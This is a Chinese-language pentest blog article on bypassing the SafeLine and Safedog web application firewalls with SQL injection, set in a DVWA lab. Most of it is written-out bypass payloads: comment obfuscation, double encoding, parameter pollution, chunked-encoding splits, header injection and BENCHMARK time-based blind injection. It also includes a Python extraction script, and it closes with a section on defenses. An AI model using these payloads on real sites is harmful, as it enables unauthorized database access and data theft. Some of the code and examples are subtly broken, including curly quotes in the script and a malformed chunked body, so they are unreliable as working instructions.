1. 项目概述:当WAF遇上SQL注入的攻防博弈
在Web安全领域,SQL注入攻击与Web应用防火墙(WAF)之间的对抗,是一场永不停歇的“猫鼠游戏”。作为一名长期在渗透测试一线摸爬滚打的安全工程师,我几乎每天都要和各类WAF打交道。其中,长亭雷池WAF和安全狗是国内企业环境中非常常见的两款产品,它们凭借其规则库和语义分析能力,为大量网站筑起了第一道防线。然而,道高一尺,魔高一丈,攻击者总在不断寻找规则引擎的盲点。今天,我就结合自己近期的实战测试,深入解析针对这两款WAF的SQL注入绕过技巧。这不仅仅是几个Payload的堆砌,更是一次对WAF防护逻辑的深度剖析。无论你是负责防守的安全运维人员,还是进行授权测试的渗透工程师,理解这些绕过背后的原理,都能让你对安全边界有更清晰的认识。本文将分享5种经过实战验证的高效方法,并详细拆解其生效的深层逻辑和适用场景。
2. 环境搭建与测试目标设定
在开始任何绕过测试之前,一个可控、清晰的测试环境是首要前提。盲目地在生产环境尝试是极不专业且危险的行为。
2.1 测试环境部署
我选择在本地虚拟机中搭建测试环境,这样既能完全控制变量,又能避免法律风险。核心组件包括:
- 靶场应用:我选用了DVWA(Damn Vulnerable Web Application)和Pikachu这两个经典的漏洞练习平台。它们都内置了不同安全等级的SQL注入漏洞点,非常适合用来模拟真实场景。DVWA的“SQL Injection”模块允许我们动态调整安全等级(Low, Medium, High),这对应了不同级别的输入过滤,为我们测试WAF绕过提供了梯度。
- WAF部署:
- 安全狗(Apache版):我下载了其最新版本的网站安全狗For Apache,将其安装在一台独立的CentOS 7服务器上,并将靶场应用部署在这台服务器后。安全狗主要以模块形式(mod_security)集成,对流入Apache的请求进行实时检测和拦截。
- 长亭雷池WAF:我使用了其社区版进行测试。雷池通常以反向代理或透明桥接模式部署。在我的测试中,我将其部署为反向代理,所有对靶场的请求先经过雷池WAF,再由其转发给后端的靶场服务器。这种模式便于观察和记录拦截日志。
- 测试工具:主要使用Burp Suite作为手动测试和流量重放的核心工具,辅以浏览器和简单的Python脚本进行辅助验证。
注意:所有测试均在授权和隔离的环境中进行。在未获得明确书面授权的情况下,对任何非自有系统进行渗透测试都是违法行为。
2.2 明确测试目标与观察点
我们的目标不是“黑掉”WAF,而是理解其规则并找到绕过方法。因此,需要明确观察什么:
- 拦截页面:当请求被WAF拦截时,安全狗和雷池都会返回特定的拦截页面(如安全狗的“您的请求带有不合法参数”)。这是最直接的信号。
- WAF日志:这是黄金信息源。雷池社区版的管理界面提供了清晰的攻击拦截日志,包括触发的规则ID、攻击类型和原始Payload。安全狗的日志需要到安装目录下查看,同样会记录拦截的规则和请求详情。
- 后端响应:终极判断标准是Payload是否成功到达后端应用并执行。通过对比开启WAF和关闭WAF(或直接访问后端)时,应用返回的数据库错误信息、页面内容差异或时间延迟,可以判断绕过是否成功。
3. 核心绕过技巧原理深度解析
下面进入正题,我将逐一拆解五种绕过技巧。每一种方法都不是孤立的“魔术字符串”,而是基于对HTTP协议、SQL语法、WAF解析逻辑的深刻理解。
3.1 方法一:注释符混淆与内联注释嵌套
这是最基础但往往最有效的方法之一。WAF的规则库通常包含大量对常见SQL关键词(UNION,SELECT,FROM,WHERE等)和运算符(--,#)的匹配。
原理剖析:WAF的匹配引擎可能是基于正则表达式或字符串匹配。例如,一条规则可能简单匹配“UNION SELECT”这个字符串。我们的绕过思路就是打破这个“字符串的连续性”,但又要保证在数据库引擎看来,SQL语句的语法是正确的。
实操Payload与解析: 假设原始注入点为:id=1,我们构造id=1 UNION SELECT 1,2,3会被拦截。
技巧1:使用非常规注释符与空白符
id=1 UNI/**/ON SEL/**/ECT 1,2,3- 为什么有效?:
/**/在SQL中是合法的多行注释符。对于WAF的简单字符串匹配规则,“UNION SELECT”被拆成了“UNI”+/**/+“ON SEL”+/**/+“ECT”,从而绕过了匹配。但MySQL等数据库在执行时,会忽略/**/,将其解析为完整的UNION SELECT。 - 进阶变种:可以利用换行符
%0a、制表符%09、括号等进一步混淆。例如:UNI%0aON%09SELECT。
- 为什么有效?:
技巧2:MySQL内联注释(
/*!...*/)id=1 /*!UNION*/ /*!SELECT*/ 1,2,3- 为什么有效?:
/*!...*/是MySQL特有的内联注释,其中的代码会被MySQL执行,但其他数据库或解析器可能将其视为注释。一些WAF为了兼容性,可能不会深度解析内联注释中的内容,从而放过其中的关键词。更高级的用法是指定版本号:/*!50001UNION SELECT*/,表示在MySQL 5.0.01及以上版本才执行其中的语句,这增加了迷惑性。
- 为什么有效?:
技巧3:注释符位置把戏
id=1' AND 1=1 --+ id=1' AND 1=1 #看似简单,但关键在于处理单引号闭合。有时WAF会检测
--或#后的内容,我们可以将其编码:%23是#的URL编码,--%20是--加空格。在Burp Suite中,可以尝试发送id=1' AND 1=1 %23。
实操心得:不要只用一种注释方式。实战中,我常将多种方式混合使用,如
UNI%0a/*!ON*/ SEL%09ECT。同时,观察WAF日志,如果看到触发的规则是“SQL注入检测-联合查询”,那么针对UNION和SELECT的混淆就是主攻方向。
3.2 方法二:参数污染与多重编码
这种方法利用了Web应用层、WAF层、数据库层对数据解析的差异。
原理剖析:一个HTTP请求参数在传递过程中可能经历多次解码。例如,浏览器可能对参数进行URL编码,WAF解码检查一次,应用服务器(如PHP的$_GET)可能再解码一次,最后传到数据库。如果各层解码次数或方式不一致,就会产生“解析差异”,导致WAF看到的内容和数据库最终执行的内容不同。
实操Payload与解析: 假设注入点为:search=keyword。
技巧1:多重URL编码
GET /search.php?search=keyword%2527%2520AND%25201%253D1%2523- 逐步拆解:
- 我们想注入的原始Payload是:
keyword' AND 1=1# - 第一次URL编码后:
keyword%27%20AND%201%3D1%23 - 关键步骤:我们对整个已编码的字符串再进行一次URL编码。
%被编码为%25。所以%27(单引号)变成了%2527,%20(空格)变成了%2520,以此类推。 - WAF层收到请求,通常只进行一次URL解码,看到的是
keyword%27%20AND%201%3D1%23,它可能认为%27只是一个普通的编码字符,未将其识别为危险的单引号,因此放行。 - 应用服务器(如PHP)在处理
$_GET[‘search’]时,可能会自动进行第二次URL解码,将%2527还原为%27,但此时它可能不会继续解码。然而,在某些框架或自定义处理中,如果代码中又调用了一次urldecode(),那么%27最终会被解码为单引号’,从而在数据库查询中生效。
- 我们想注入的原始Payload是:
- 逐步拆解:
技巧2:参数污染(HPP)
GET /search.php?search=keyword&search=keyword' AND 1=1#- 为什么有效?:HTTP协议允许同一个参数名出现多次。不同的服务器端技术处理方式不同。例如,PHP默认取最后一个值,JSP取第一个值,ASP.NET可能拼接所有值。WAF可能只检查第一个或最后一个参数值,而应用最终使用的却是另一个值,从而绕过检测。
注意事项:多重编码的成功率高度依赖于目标应用的技术栈和代码实现。它更像是一种“碰运气”的技巧,但在针对老旧系统或自定义解析逻辑的应用时,往往有奇效。在测试时,务必用Burp Suite的Decoder模块反复模拟不同层级的编码解码过程。
3.3 方法三:利用数据库特性与非常规语法
不同的数据库(MySQL, PostgreSQL, SQL Server, SQLite)有各自的语法特性和“怪癖”,这些往往是WAF规则覆盖的薄弱点。
原理剖析:WAF的通用规则集倾向于覆盖标准SQL语法。当我们使用某数据库特有的、不常见的语法时,可能因为不在规则库内而被放过。
实操Payload与解析(以MySQL为例):
技巧1:利用
&&和||替代AND和ORid=1' && 1=1 --+ id=1' || 1=2 --+- 在MySQL中,
&&和||是逻辑运算符,其优先级和AND、OR有所不同,但在布尔上下文中可以等效使用。很多基于关键词匹配的WAF规则不会拦截&&和||。
- 在MySQL中,
技巧2:利用十六进制字符串绕过单引号过滤
id=1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name=0x75736572730x7573657273是字符串”users”的十六进制表示。当WAF在检测字符串常量时,可能会检测单引号包裹的内容。使用十六进制表示法完全避免了单引号,直接将十六进制数作为字符串使用,这是MySQL的合法语法。
技巧3:利用
LIKE、REGEXP进行盲注替代=id=1' AND substring(database(),1,1) LIKE 'd' --+ id=1' AND substring(database(),1,1) REGEXP '^d' --+- 当等号
=被过滤时,LIKE和REGEXP关键字可以作为替代。虽然它们通常用于模糊匹配,但在确定字符时,LIKE ‘d’和= ‘d’效果一致。WAF对LIKE关键字的检测严格度可能低于=。
- 当等号
实操心得:了解目标数据库类型至关重要。通过报错信息、端口扫描或盲猜可以确定。如果是MySQL,上述方法很有效。如果是SQL Server,可以尝试使用
EXEC()、WAITFOR DELAY等特性。测试时,准备一个该数据库的本地环境,先验证Payload的语法正确性,再放到WAF面前测试。
3.4 方法四:分块传输编码与协议层干扰
这是较为高级的技巧,主要针对那些对HTTP协议体进行规范解析的WAF。
原理剖析:分块传输编码(Chunked Transfer Encoding)是HTTP/1.1中定义的一种数据传输机制。请求体被分成一系列“块”发送,每个块包含长度值和数据。有些WAF可能无法正确重组分块后的数据,或者其检测引擎只在完整请求体上运行,从而让我们有机会将恶意Payload拆分到不同的块中,以躲避检测。
实操步骤:
- 在Burp Suite中捕获一个正常的POST请求。
- 在Proxy -> Options 中找到 “Match and Replace” 规则,添加一条规则,将
Content-Length头替换为Transfer-Encoding: chunked。也可以手动修改请求头。 - 修改请求体,将其转换为分块格式。例如,原始请求体为
id=1¶m=test。- 分块格式示例:
2\r\n id\r\n =1&\r\n 6\r\n param=\r\n 4\r\n test\r\n 0\r\n \r\n - 解释:
2表示接下来2个字节是数据(”id”),后面是\r\n,然后是数据”id”,再\r\n。如此反复。最后以0\r\n\r\n结束。
- 分块格式示例:
- 关键技巧:将敏感的SQL关键词拆分到两个不同的块中。例如,将
UNION SELECT拆成UNI放在一个块的末尾,ON SELECT放在下一个块的开头。4\r\n id=1\r\n 3\r\n UNI\r\n <- “UNION” 的前半部分 8\r\n ON SELECT\r\n <- “UNION” 的后半部分 + “SELECT” ... (后续块) - 发送请求,观察是否被WAF拦截。由于WAF可能看到的是重组前的不完整片段,或者其解析器无法处理分块编码,Payload可能被放行。
注意事项:这种方法对WAF的实现要求很高,现代WAF(包括雷池和新版安全狗)大多能很好地处理分块编码。但在面对一些老旧版本或配置不当的WAF时,仍值得一试。此外,服务器端也必须支持分块编码,否则会返回400错误。
3.5 方法五:白名单绕过与边界模糊
这种方法更侧重于对整体防护策略的利用,而非单纯的Payload变形。
原理剖析:
- 静态资源白名单:为了性能,WAF常对图片、CSS、JS等静态文件目录不做检测。如果存在上传功能,且能将包含注入参数的请求“伪装”成访问静态资源的请求(例如,通过
/upload/image.jpg?id=1' AND...),可能直接绕过检测。 - IP/URL白名单:管理后台、API接口、CDN节点IP等可能被加入WAF白名单。如果发现目标存在SSRF漏洞,可以从服务器内部发起一个到白名单IP或URL的请求,该请求可能不受WAF审查。
- 参数边界模糊:WAF可能只检测GET/POST参数,而忽略Cookie、User-Agent、Referer、X-Forwarded-For等HTTP头。如果应用后端错误地将这些头部的值拼接到SQL查询中,那么这些位置就成了注入点,且可能不受WAF检测。
实操思路:
- 寻找上传点:测试文件上传功能,尝试上传一个内容为正常图片但文件名包含Payload的文件(如
test’union select 1,2,3.jpg),然后尝试通过直接访问文件路径并附加参数的方式触发。 - 测试HTTP头注入:在Burp Suite中,对每一个HTTP头部字段进行SQL注入测试。特别是
X-Forwarded-For、User-Agent这些常被用于记录日志的字段。GET /index.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 ... ' AND (SELECT 1 FROM DUAL) --+ X-Forwarded-For: 127.0.0.1' OR '1'='1 - 利用已知漏洞路径:通过信息收集,发现类似
phpMyAdmin、/admin/、/api/等路径,尝试在这些路径下进行注入测试,它们被单独配置规则或放行的可能性存在。
实操心得:这种方法需要更全面的信息收集和更灵活的思维。它不再是“硬刚”WAF的检测规则,而是寻找其防护体系中的“缝隙”。在授权测试中,结合目录扫描、子域名枚举、框架识别等手段,往往能发现意想不到的突破口。
4. 综合实战:从探测到绕过的完整流程
理论需要结合实践。下面我模拟一个完整的、针对部署了安全狗WAF的DVWA(安全等级为Medium)的注入点绕过过程。
4.1 初始探测与拦截分析
- 目标:DVWA的SQL Injection (Blind) 模块,安全等级Medium。该级别使用了
mysql_real_escape_string进行转义,并限制了输入为数字(通过is_numeric),但存在数字型注入的可能。 - 初始Payload:
id=1 AND 1=1 - 结果:请求被安全狗拦截,返回拦截页面。查看安全狗日志,发现触发规则:“SQL注入检测-AND/OR数字型”。
- 分析:规则明确匹配了“AND”和数字、等号的组合。我们需要拆散“AND 1=1”这个模式。
4.2 分步绕过实施
第一步:注释符混淆尝试:id=1 AN/**/D 1=1结果:依然被拦截。说明安全狗的规则可能匹配了“AN”和“D”之间的空白区域被注释符填充的模式,或者它解析了注释符。
第二步:使用&&替代AND尝试:id=1 && 1=1结果:成功绕过!页面返回正常。这说明安全狗对&&运算符的检测规则较弱或不存在。
第三步:验证布尔逻辑
- 发送:
id=1 && 1=2 - 结果:页面返回异常(对于盲注,可能是“User ID is MISSING from the database.”)。这证实了
&&运算符生效,且存在布尔盲注的条件。
第四步:构造时间盲注Payload现在我们需要提取数据,但substring,if,sleep等函数可能被检测。
- 尝试基础Payload:
id=1 && sleep(5) - 结果:被拦截。规则:“SQL注入检测-时间延迟”。
- 绕过:利用
benchmark函数或笛卡尔积制造延迟。MySQL的benchmark(count, expr)函数重复执行表达式exprcount次,可用于制造延迟。id=1 && (SELECT * FROM (SELECT(BENCHMARK(5000000,MD5(‘test’))))a)BENCHMARK执行大量计算制造延迟。- 将其包裹在子查询
(SELECT ... )a中是常见写法。 - 发送此Payload,观察到响应时间显著增加(约3-5秒),证明时间盲注通道建立成功,且绕过了WAF对
sleep的检测。
第五步:自动化提取数据思路在确认绕过方法后,可以编写Python脚本,将上述绕过技巧融入盲注逻辑中。例如,判断数据库名第一个字符的Payload:
import requests import time url = "http://target.com/dvwa/vulnerabilities/sqli_blind/" cookies = {"PHPSESSID": "your_session", "security": "medium"} params = {"id": "1", "Submit": "Submit"} # 猜测第一个字符的ASCII码 for i in range(32, 127): # 使用 && 和 benchmark 构造Payload payload = f"1 && (SELECT * FROM (SELECT(IF(ASCII(SUBSTRING(database(),1,1))={i},BENCHMARK(5000000,MD5('test')),0)))a)" params[‘id’] = payload start_time = time.time() r = requests.get(url, params=params, cookies=cookies) elapsed = time.time() - start_time if elapsed > 4: # 如果延迟显著 print(f“Database first char is: {chr(i)}”) break这个脚本的核心是将猜测逻辑放入IF函数,如果条件为真则执行耗时的BENCHMARK,通过响应时间来判断猜测是否正确。
5. 防御视角:从绕过中学到的防护要点
作为防守方,从这些绕过技巧中,我们可以强化WAF策略和开发规范:
- 启用语义分析:依赖正则匹配的规则很容易被绕过。现代WAF应启用语义分析引擎,对HTTP请求进行解析、归一化(如统一解码、去除注释)后,再对标准化后的SQL语句逻辑进行检测。
- 规则深度与广度:不仅要覆盖
UNION SELECT,还要覆盖UNI/**/ON SEL/**/ECT、&&、||、BENCHMARK等变种。规则库需要持续更新,涵盖已知数据库的特有函数和语法。 - 全流量检测:不能只检测GET/POST参数,Cookie、Header、JSON/XML Body都需要纳入检测范围。特别是
User-Agent,X-Forwarded-For等易被利用的头部。 - 协议合规性校验:严格校验HTTP协议,对异常的分块编码、畸形的请求行等进行拦截或规范化处理。
- 白名单最小化原则:严格审查白名单策略,静态资源目录的放行应确保其真的不执行动态代码。API网关或管理后台的访问也应受到适当监控。
- 开发层面根治:
- 使用预编译语句(Prepared Statements):这是防止SQL注入的根本方法。参数化查询能确保用户输入永远被当作数据处理,而非代码。
- 严格的输入验证:在应用层对输入的类型、长度、格式进行严格校验。例如,ID参数强制转换为整数。
- 最小权限原则:数据库连接账户不应具有DBA权限,仅授予应用所需的最小权限。
- 自定义错误处理:避免将详细的数据库错误信息直接返回给用户。
6. 常见问题与排查技巧实录
在实战测试中,你会遇到各种意外情况。这里记录几个典型问题和我的解决思路。
问题1:Payload本地测试成功,但过WAF就失败,没有任何拦截提示。
- 排查:首先检查WAF是否处于“观察模式”或“记录模式”而非“拦截模式”。其次,用Burp Suite的Repeater模块,对比经过WAF和直连后端服务器的HTTP响应差异(状态码、Headers、Body长度、内容)。可能WAF进行了静默拦截或重定向。最后,查看WAF的管理界面日志,确认请求是否被记录为“攻击”但采取了“放行并记录”的策略。
问题2:时间盲注不稳定,有时延迟触发,有时不触发。
- 排查:网络延迟、服务器负载都会影响时间判断。解决方法是:
- 增加
BENCHMARK的循环次数,拉大“有延迟”和“无延迟”的差距。 - 在脚本中设置一个基准响应时间。先发几个无害请求计算平均响应时间
T_base,然后在盲注判断时,将阈值设为T_base * 2或T_base + 2秒。 - 使用
ORDER BY (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)这种笛卡尔积方式制造延迟,它可能比BENCHMARK更稳定,且不易被特征检测。
- 增加
问题3:遇到疑似基于机器学习的WAF,常规变形都被拦截。
- 思路:尝试“低慢速”攻击。将注入语句拆分成极其微小的片段,通过大量请求缓慢发送。例如,用
SUBSTRING(database(),1,1)=‘a’判断一个字符,拆成10个请求,每个请求只发送一部分参数,并设置很长的请求间隔(如10秒)。这可能会绕过基于单请求分析的模型。此外,可以研究应用程序本身的逻辑漏洞,比如二次注入、XFF头注入等,这些可能不在WAF的主要检测模型内。
问题4:如何判断绕过是否真正成功?
- 黄金准则:对比测试。在同一个注入点,进行三次测试:
- 不带任何Payload的正常请求(基线)。
- 带有恶意Payload但直连后端服务器(绕过WAF)的请求。
- 带有恶意Payload且经过WAF的请求。
- 如果(2)能成功触发注入(如返回错误、延迟、数据差异),而(3)的行为与(1)一致(被正常拦截或返回无异常的正常页面),则绕过失败。如果(3)的行为与(2)相似(都触发了注入效果),则绕过成功。务必确保你观察的是应用层的逻辑响应,而非WAF的拦截页面。
绕过WAF是一个需要耐心、创造力和对技术细节深刻理解的过程。它没有一成不变的“银弹”。最有效的方法永远是深入理解目标WAF的运作机制、目标应用的代码逻辑以及数据库的独特语法,然后将多种技巧组合使用,在动态的测试中不断调整策略。对于防御者而言,认识到WAF只是纵深防御体系中的一环,而非绝对安全的银弹,同样至关重要。真正的安全,始于良好的编码习惯和严谨的架构设计。